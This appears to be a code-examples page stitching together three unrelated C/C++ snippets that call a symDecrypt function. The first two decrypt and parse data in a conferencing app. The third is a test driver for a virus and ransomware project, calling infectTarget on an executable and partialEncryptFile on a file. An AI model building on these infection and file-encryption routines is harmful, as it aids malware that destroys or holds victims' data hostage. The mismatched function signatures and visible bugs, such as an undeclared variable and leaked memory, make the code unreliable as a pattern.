示例#1
0
int GroupManager::parseXmlUserList(const unsigned char *incoming_data, size_t len) {
	unsigned char *list = NULL;
	size_t ulen = 0;
	if (isPrivate) {
		int res = symDecrypt(conferenceKey, NULL, incoming_data, len, &list, &ulen, AES_BLOCK_SIZE);
		if (res != 0 )
			critical("can not decryption speaker info");
	}else {
		list = (unsigned char *) incoming_data;
	}

    QByteArray buffer((const char *)(list));
    QDomDocument doc;
    if (!doc.setContent(buffer)) {
        debug("Cannot convert data to xml\n");
        return -1;
    }
   
    QString username, qPrefix;
    QDomElement docElem = doc.documentElement();  // <user> 
    QDomNode node = docElem.firstChild();  // <username>
    while (!node.isNull()) {
        if (node.nodeName() == "username") {
			username = node.toElement().text();
		} else
        if (node.nodeName() == "prefix") {
			qPrefix = node.toElement().text();
		} else {
			critical("Unknown xml attribute");
		}

        node = node.nextSibling();
    }

	if (username == "" || prefix == "")
		return -1;
	
	if (isPrivate && list != NULL) {
		free(list);
		list = NULL;
	}

	addRemoteUser(qPrefix, username);
    return 0;
}
示例#2
0
int NdnMediaProcess::ndn_wait_message(UserDataBuf *userBuf, char *buf, int len)
{
    if (ndnState.ccn == NULL || userBuf == NULL) {
        errno = 9; //EBADFD;
        return(-1);
    }
    if (userBuf->data_buf.buflist == NULL) {
        errno = EAGAIN;
        len = -1;
    }
    else {
        struct buf_list *b = userBuf->data_buf.buflist;
        userBuf->data_buf.buflist = b->link;
		if (isPrivate) {
			unsigned char *plain_data = NULL;
			size_t plain_len = 0;
			int res = symDecrypt(sessionKey, NULL, (const unsigned char *) b->buf, b->len, &plain_data, &plain_len, AES_BLOCK_SIZE);
			if (res != 0)  {
				fprintf(stderr, "can not decrypt audio\n");
				std::exit(1);
			}
			len = plain_len;
			memcpy(buf, plain_data, len);
			if (plain_data != NULL) {
				free(plain_data);
				plain_data = NULL;
			}
		} else
		{
			if (b->len < len)
				len = b->len;
			memcpy(buf, b->buf, len);
		}
        free(b->buf);
        b->buf = NULL;
        b->len = 0;
        free(b);
        b = NULL;
    }
    return(len);
}
示例#3
0
int main(int argc, char **argv)
{
	argc = argc;
	char test_string[] = "We dont need no education\0";

	int status;

	//TEST CLONELIB
	char *gob;
	int gob_length;
	printf("Testing clonelib.h\n");

	//Test function getOwnBytes
	gob_length = getOwnBytes(&gob, argv[0]);
	printf("getOwnBytes:\t%s(%d bytes)\n",
	       gob_length > 256 ? "OK" : "Failed", gob_length);

	//Test function infectTarget
	status = infectTarget(TEST_DIR "hello.exe", gob, gob_length);
	printf("infectTarget:\t%s\n", status ? "OK" : "Failed");

	//free
	free(gob);

	//TEST B64
	printf("\nTesting b64.h\n");
	int b64_decoded_msg_length;
	char *b64_decoded_msg;

	//Test function b64decode
	b64_decoded_msg_length = b64decode(&b64_decoded_msg, "T0s=");
	printf("b64decode:\t%s(%s)\n",
	       (b64_decoded_msg_length == 2
		&& !strcmp(b64_decoded_msg, "OK")) ? "OK" : "Failed",
	       b64_decoded_msg);


	//Test functions b16decode and b16encode
	status =
	    strcmp(b16decode(b16encode(test_string, strlen(test_string))),
		   test_string);
	printf("b16en/decode:\t%s", status ? "Failed" : "OK");
	if (status)
		printf("(%s!=%s)", test_string,b16decode(b16encode(test_string, strlen(test_string))));
	printf("\n");

	//free
	free(b64_decoded_msg);

	//Test CRYPT
	printf("\nTesting crypt.h\n");


	//Test function secureRand
	/*
	   status =
	   secureRand(&keyiv, SYMMETRIC_IV_SIZE + SYMMETRIC_KEY_SIZE);
	   printf("secureRand:\t%s\n", status ? "OK" : "Failed"); */

	//Test functions symEn/Decrypt
	char keyiv[] = "0123456789abcdef0123*56789abcdef";
	char encrypted_msg[16];
	char decrypted_msg[16];
	status = symEncrypt(encrypted_msg, keyiv, test_string, 16);
	printf("symEncrypt:\t%s\n", status ? "OK" : "Failed");

	status = symDecrypt(decrypted_msg, keyiv, encrypted_msg, 16);
	printf("symDecrypt:\t%s\n", status ? "OK" : "Failed",
	       decrypted_msg);
	/*printf("Together:\t%s(%s)\n",
	   !strcmp(decrypted_msg, test_string) ? "OK" : "Failed",
	   decrypted_msg); */


	//TESTING RANSOMLIB
	printf("\nTesting ransomlib.h\n");

	//Test encryption
	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 0);
	printf("partialEncryptFile:\t%s\n", status ? "OK" : "Failed");

	//Test Decryption
	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 1);
	printf("partialEncryptFile-d:\t%s\n", status ? "OK" : "Failed");


	//Tests paths
	printf("\nTestings paths.h\n");

	//Test
	char *harp = NULL;
	printf("getExternalPaths: %s\n",getExternalPaths(&harp)?"OK":"Failed");
	return 0;
}